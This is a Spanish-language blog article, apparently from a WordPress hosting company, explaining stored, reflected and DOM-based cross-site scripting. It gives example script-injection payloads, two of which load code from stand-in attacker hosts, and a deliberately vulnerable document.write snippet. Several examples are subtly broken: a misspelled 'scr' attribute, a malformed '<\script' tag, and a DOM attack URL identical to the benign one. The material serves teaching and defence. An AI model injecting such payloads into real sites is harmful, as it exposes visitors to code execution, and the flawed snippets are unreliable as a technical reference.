Tipos de ataques de secuencias de comandos entre sitios (XSS)

En nuestro artículo anterior sobre WordPress y Cross-Site Scripting, analizamos en profundidad qué son estos tipos de ataques y cómo puede prevenirlos. En este artículo, profundizaremos en algunos detalles junto con algunos ejemplos de secuencias de comandos entre sitios. ¡Vamos!

XSS persistente

XSS persistente (o XSS almacenado) es uno de los principales tipos de secuencias de comandos entre sitios. Se llama persistente porque lo que inyecta el atacante se almacena en el servidor de forma permanente para su uso posterior. Cada vez que un visitante va a una página en particular, el navegador ejecuta el código al cargar o cuando se llama a una función específica.

Ejemplo de XSS persistente :

Digamos que en la sección de comentarios debajo de una publicación, alguien ingresa un script de alerta junto con una simple respuesta/opinión.

 Great solution! It works for me.<script>alert("Some text message")</script>

Si la sección de comentarios es vulnerable y los comentarios que se envían no se desinfectan, este código se guardará en la base de datos. Como resultado, a partir de ese momento, siempre que la página sea cargada (por cualquier persona) y el “comentario incorrecto” sea visible junto con todos los comentarios, aparecerá una ventana emergente con el mensaje.

Por supuesto, un mensaje de alerta puede ser molesto pero no realmente dañino. Pero, ¿qué sucede si el atacante inserta un script malicioso en lugar del mensaje de alerta como este:

 Great solution! It works for me.<script scr="http://attackerswebsite.com/maliciousscript.js">

En lugar de una ventana emergente molesta, el usuario final experimentará el ataque XSS. El daño dependerá del tipo de código ejecutado. Es por eso que los ataques Stored XSS se consideran tan peligrosos. Atacan a todos los usuarios y ni siquiera requieren ninguna entrada del usuario (barra que abre la página en primer lugar).

XSS no persistente

Si bien no es tan peligroso como el XSS persistente, el XSS no persistente (o reflexivo) sigue siendo problemático, sobre todo porque se reconoce que es el tipo más común de ataque de secuencias de comandos entre sitios.

Esencialmente, lo que sucede en un ataque XSS no persistente es que el usuario final hace clic en un enlace malicioso que lo enviará a otro sitio web que desencadenará la ejecución de un código incorrecto. El ataque se realiza a través de una URL manipulada o parámetros HTTP y no se guarda de forma permanente en la base de datos como en Persistent XSS.

Pero antes de realizar un ataque no persistente, el atacante debe identificar si un sitio web es vulnerable a los ataques XSS. Una forma de hacerlo es utilizando el motor de búsqueda interno del sitio web. Si ingresa una cadena, digamos "zapatos" para buscar y presiona el botón, se ejecuta una función que se ve así:

 http://exampledomain.com?query=shoes

Sin embargo, antes de que se ejecute la función, la cadena que ingresó se desinfecta, o al menos debería estarlo, para que el formulario de búsqueda esté a salvo de entradas maliciosas.

El atacante puede usar el formulario de búsqueda e intentar ingresar un script como este:

 <script type="text/javascript">alert("vulnerable");</script>

Si el formulario no está desinfectado, ejecutará la función normalmente:

 http://exampledomain.com?query=<script type="text/javascript">alert("vulnerable");</script>

Esto (en este ejemplo) daría como resultado la visualización de la ventana emergente de alerta. Aquí es cuando el atacante sabe que el formulario de búsqueda tiene una vulnerabilidad XSS.

Ejemplo de XSS no persistente

En el caso de que se descubra una vulnerabilidad en un sitio, un atacante podría optar por crear una URL que se vea así:

 http://exampledomain.com?query=shoes<\script%20src="http://attacker-site.com/malicious-code.js"

Luego 'enmascaran' la URL para que no parezca un enlace 'malo' e intentan animar a otros a hacer clic en él. Por lo general, esto podría ser el envío de correos electrónicos no deseados o quizás la inclusión de un enlace en un foro.

XSS basado en DOM

Durante un incidente XSS basado en DOM (o XSS del lado del cliente), el ataque pasa a través de una URL que contiene el código malicioso.

También se considera una vulnerabilidad del lado del cliente, ya que se ejecuta en el navegador de la víctima, pero lo que sucede aquí es que se altera una parte del DOM, lo que hace que el cliente ejecute código, sin su consentimiento.

Aloje su sitio web con Pressidium

GARANTÍA DE DEVOLUCIÓN DE DINERO DE 60 DÍAS

VER NUESTROS PLANES

NOTA: El modelo de objetos de documento (DOM) es una interfaz que define la estructura de diseño de una página web al conectar el lenguaje de secuencias de comandos a la página web real. Para lograr esto, permite a los desarrolladores acceder al documento y ejecutar operaciones para actualizar el contenido.

Ejemplo de XSS basado en DOM:

Se puede demostrar un ejemplo de un ataque de secuencias de comandos entre sitios basado en DOM con un formulario que le permite elegir una opción, como su país de residencia. Veamos cómo se desarrollaría esto con el siguiente ejemplo:

 Select your country: <select><script> document.write("<OPTION value=1>"+decodeURIComponent(document.location.href.substring(document.location.href.indexOf("country=")+8))+"</OPTION>"); document.write("<OPTION value=2>USA</OPTION>"); document.write("<OPTION value=2>Brazil</OPTION>"); </script></select>

Entonces, se puede acceder a una página con una opción elegida en el formulario a través de una URL como:

 http://localhost/?country=Lithuania

Pero si intenta una entrada como esta (ver más abajo), el navegador creará un objeto DOM que contiene esa cadena y ejecutará el script.

 http://localhost/?country=Lithuania

Eso sucede porque el formulario no está protegido y el código inicial no está listo para ningún marcado HTML. Entonces, lo que hace es dibujar el DOM en la página y ejecutar el script malicioso.

Los ataques XSS son demasiado comunes. Una forma sencilla de protegerse lo mejor posible es mantener siempre actualizados los complementos en su sitio web de WordPress y utilizar un host de alta calidad. ¡Esperamos que estos ejemplos le hayan dado una idea de cómo funcionan estos tipos de ataques y qué debe tener en cuenta!